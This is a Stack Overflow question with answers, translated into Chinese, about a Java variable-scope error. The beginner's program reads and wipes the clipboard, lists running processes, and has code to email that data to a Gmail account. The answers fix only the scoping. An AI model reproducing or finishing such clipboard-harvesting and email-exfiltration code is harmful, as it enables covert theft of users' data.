2

我正在制作我的第一个 Java 程序(希望在下个世纪掌握它)并且遇到了一些问题。当我尝试使用文本和先前创建的字符串组合创建字符串时,Eclipse 说无法解析变量。有人可以帮我吗?谢谢!

//Clipboard
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.StringSelection;
import java.awt.datatransfer.Transferable;
//Taskmanager
import java.io.BufferedReader;
import java.io.InputStreamReader;
//Email-er
import java.util.Properties;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
/*
* Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only
* No data received from this app is used for any other purpose except the ones above
* Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)
* You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)
* Silver is NOT responsible for any damages, physical or virtual, caused by this program
* Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)
* SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])
* Copyright IdreesInc.com  All rights reserved
*/
public class Application {
     static Properties mailServerProperties;
     static Session getMailSession;
     static MimeMessage generateMailMessage;
     public static void main(String args[]) throws AddressException, MessagingException {
            generateAndSendEmail();
            System.out.println("\n\n ===> Your Java Program has just sent an Email successfully. Check your email..");
        }

        public static void generateAndSendEmail() throws AddressException, MessagingException {     

            boolean allowEmails = false;
         Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);

            try {
                if (t != null && t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
                    String text = (String)t.getTransferData(DataFlavor.stringFlavor);
                    String data = text;
                    System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data
                    text=""; //String is now empty
                    StringSelection ss = new StringSelection(text); //Clears Clipboard data
                    Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null);
                    System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging

                }
            }
            catch(Exception e)
            {

        }
            try {
                String line;
                Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list
                BufferedReader input =
                        new BufferedReader(new InputStreamReader(p.getInputStream()));
                while ((line = input.readLine()) != null) {
                    System.out.println(line); //Data is parsed
                }
                input.close();

            } catch (Exception err) {
                err.printStackTrace();
            }

    if(allowEmails == true) {

    //Step1   
            System.out.println("\n\n 1st ===> setup Mail Server Properties..");
            mailServerProperties = System.getProperties();
            mailServerProperties.put("mail.smtp.port", "587");
            mailServerProperties.put("mail.smtp.auth", "true");
            mailServerProperties.put("mail.smtp.starttls.enable", "true");
            System.out.println("Mail Server Properties have been setup successfully..");

    //Step2        
            System.out.println("\n\n 2nd ===> get Mail Session..");
            getMailSession = Session.getDefaultInstance(mailServerProperties, null);
            generateMailMessage = new MimeMessage(getMailSession);
            generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("javasmtpserver@gmail.com"));
            generateMailMessage.setSubject("Application 'Bitter Coffee' Has Been Activated");
            String emailBody = "Application 'Bitter Coffee' has been activated and has ran successfully" + "<br><br>The activators information is as follows: " + "<br>Clipboard Data: " + data + "<br>Active Tasks: " + input + "<br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com  All rights reserved";
            generateMailMessage.setContent(emailBody, "text/html");
            System.out.println("Mail Session has been created successfully..");

    //Step3        
            System.out.println("\n\n 3rd ===> Get Session and Send mail");
            Transport transport = getMailSession.getTransport("smtp");
            // Enter your correct Gmail UserID and Password
            transport.connect("smtp.gmail.com", "javasmtpserver", "serverpassword");
            transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());
            transport.close();
    }
        }

}

后记:这是我的第一篇 Stack Overflow 帖子,如果我搞砸了,请纠正我。在发布之前,我到处寻找问题的答案。而且我确信这是一个容易解决的问题,但由于这是我在 Java 中的第一个项目,所以我迷路了。再次感谢大家,祝编码愉快!

后记:这段代码是为我创建的一个小项目。别担心,我不会用它来满足任何邪恶的需求;)

编辑:愚蠢的我忘了给出完整的错误:)
它们是:“输入无法解析为变量”“数据无法解析为变量”

它们是“第 2 步”的第 6 行,再次感谢!

4

3 回答 3

6

在 Java 中,您只能在定义变量的块中使用变量。

您声明变量datainput在您的 try 块内。

这意味着您只能在该块内使用它们。

如果你想在第 2 步中使用data和,你应该在你的 try 块之前input声明它们。


要修复它,请执行以下操作:

public class Application {

    public static main(String[] args) {

        String data = null;
        String commandOutput = "";
        BufferedReader input = null;

        try {
            // do stuff
            data = text;
            input = // initialize buffered reader
            String line = input.readLine();
            while (line != null) {
                commandOutput += line;
                line = input.readLine();
            }
        }
        catch (SomeSpecificException ex) {
            // please handle exceptions!
        }
        catch (IOException ioex) {
            // handle IO Exceptions here
        }
        finally {               
            try {
                input.close();
            }
            catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        .
        .
        .
        String emailBody = "blah blah " + data + " blah blah " + commandOutput;
    }
}
于 2013-07-16T06:43:01.943 回答
1

在这一行

String emailBody = "Application 'Bitter Coffee' has been activated and has ran successfully" + "<br><br>The activators information is as follows: " + "<br>Clipboard Data: " + data + "<br>Active Tasks: " + input + "<br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com  All rights reserved";

变量data, input 超出范围,将它们声明为实例变量并使用它

喜欢

public class Application {
     private static String input;
     private static String data;

请更喜欢阅读:Java 语言规范关于块

于 2013-07-16T06:43:30.527 回答
0

您在 String 中使用的变量data并没有在哪里声明和集成。inputemailBody

 if(allowEmails) {
 }

就够了,而不是

if(allowEmails == true)
于 2013-07-16T06:45:45.253 回答